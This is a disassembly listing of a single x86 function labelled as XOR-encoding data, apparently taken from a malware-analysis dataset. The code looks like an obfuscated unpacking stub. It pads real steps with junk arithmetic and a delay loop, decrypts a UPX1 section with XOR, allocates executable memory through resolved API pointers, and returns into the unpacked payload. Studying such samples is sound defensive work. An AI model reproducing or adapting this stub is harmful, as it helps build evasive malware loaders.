Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe0438788
inc eax
and eax, eax
inc eax
popal
not ebx
add eax, 0x6e106e8a
mov eax, ebx
mov ecx, 0
mov esi, edx
sub ebx, 0x487a458a
mov eax, 0x59344665
mov edi, esi
sub ebx, 0x5242d0f5
mov ebx, 0xfc2f73f5
inc ebx
mov edx, edi
add ebx, eax
not ebx
add ecx, 1
add eax, 0x1cfd2137
or eax, ebx
cmp ecx, 0x1001482
jne 0xa789c6
sub eax, 0x9a5de367
add ebx, eax
add eax, eax
sub eax, 0xe15e32b5
sub eax, ebx
mov esi, 0xa78796
sub eax, edi
or eax, eax
mov edx, 0xa7898a
sub edi, 0x1049b66
mov edi, eax
mov ecx, dword [esi]
or edi, eax
add ebx, ebx
and ecx, 0xff
mov edi, 0x9e5a39ae
add ebx, 0x1e29b51b
or eax, ebx
xor dword [edx], ecx
mov ebx, edi
and eax, ebx
not eax
inc edx
dec eax
sub edi, 0xa72a9b10
mov eax, edi
add esi, 1
sub ebx, eax
or eax, ebx
not ebx
cmp edx, entry0
jl 0xa78a29
add eax, 0x2421ba00
or edi, edi
add edi, edi
or eax, eax
add edi, 0x904255d2
add edi, edi
dec esi
mov esi, 0x78794b47
mov ebx, 0xa7898e
dec esi
sub ecx, 0x4449d597
mov ebx, dword [ebx]
sub edx, ecx
mov esi, edx
dec esi
mov ebx, dword [ebx]
mov ecx, 0xcb91bb1a
sub edi, 0xcb8248e
sub esp, 4
mov dword [esp], ebx
mov edx, esi
add esi, 0xbbb03e63
mov ebx, 0xa7898a
mov edx, 0x6dadad4d
mov ecx, edi
mov ebx, dword [ebx]
mov esi, 0xc233810c
or edx, esi
add esi, 1
mov ebx, dword [ebx]
dec esi
and edi, ecx
and edx, esi
push 0xa78992
add edi, esi
dec ecx
call ebx
and esi, edx
dec esi
pop ebx
inc ecx
inc ecx
push 0xa7899f
sub edx, 1
sub esi, 0xac568869
push eax
add ecx, 0x36952265
not edx
call ebx
or ecx, edi
mov edx, 0xe561b955
sub edi, 0x1418e1a7
sub esp, 4
mov dword [esp], 0x40
add esi, 0x5dd040ec
or edi, esi
push 0x3000
add edi, edx
sub ecx, esi
sub esp, 4
mov dword [esp], 0x2000046b
sub edi, edx
add edi, 1
add ecx, 0x390adaea
push 0
add edi, 0xd387e194
not edi
call eax
or ecx, esi
and edx, esi
not edx
add eax, 0x200003d3
not edi
sub esi, 0x12d3109e
mov ecx, esi
mov ebx, 0x2d9a62e2
add ecx, esi
dec edx
mov dword [eax], ebx
sub edi, 0x6f66fa98
add ecx, esi
mov edx, 0xa19a7af6
mov ebx, dword [eax]
add ecx, edi
or ecx, esi
cmp ebx, 0x2d9a62e2
je 0xa78b93
mov edx, 0
mov byte [edx], cl
add edx, 0xc01ffa14
or esi, esi
inc edx
dec esi
sub ecx, 0x645d04c0
inc ebx
add eax, 0xfd0e8834
sub eax, ebx
mov edx, section.UPX1
mov ebx, eax
mov ebx, 0xedcbdfe2
mov edi, 0xa78795
sub ebx, 1
sub ebx, eax
mov esi, 0
sub eax, ebx
inc ebx
mov ecx, 0xa78796
not ebx
and ebx, ebx
sub ebx, 0xe8206fd2
lea ecx, [esi + ecx]
sub ebx, 0xd342c6ec
sub ebx, eax
mov ecx, dword [ecx]
sub eax, 1
sub eax, 0x2efd53ac
mov eax, 0xbf543b99
and ecx, 0xff
dec ebx
not ebx
inc esi
mov eax, 0xa7f28a2f
inc eax
cmp esi, 0x1f4
jne 0xa78c17
mov esi, 0
dec ebx
add ebx, 1
sub eax, ebx
mov ebx, 0x47e2ab60
add ebx, 0xc17d4d6c
xor dword [edx], ecx
mov eax, ebx
add eax, 0x84755ec2
add edx, 2
mov ebx, eax
mov ebx, eax
add ebx, 0xd35930cb
cmp edx, edi
jl 0xa78bcd
or eax, eax
mov eax, ebx
and eax, ebx
inc eax
add eax, 0x80c1e837
and eax, eax
mov ebx, section.UPX1
mov esi, 0x62e84fcd
add esi, 0x1f28ea33
sub edx, esi
mov eax, section.UPX1
add esi, esi
mov edx, 0x8615db41
mov edi, 0xa78795
mov esi, 0x901fd22b
inc edx
or edx, esi
mov ecx, 0
or esi, esi
not edx
sub edx, 0x5c68b74
mov cl, byte [eax]
add edx, esi
mov edx, 0xdef82de1
mov byte [ebx], cl
sub edx, esi
or edx, edx
sub esi, edx
add ebx, 1
and edx, edx
add esi, esi
add eax, 2
add edx, 0xce5d245b
and edx, edx
sub esi, edx
cmp eax, edi
jle 0xa78c96
mov edx, 0xa25dfba9
sub esi, edx
mov ebx, eax
and ebx, ebx
sub eax, 0xe2a30f3c
sub esp, 4
mov dword [esp], 0x8dc6a0
add ebx, 1
add eax, 0xee867f73
sub ebx, eax
ret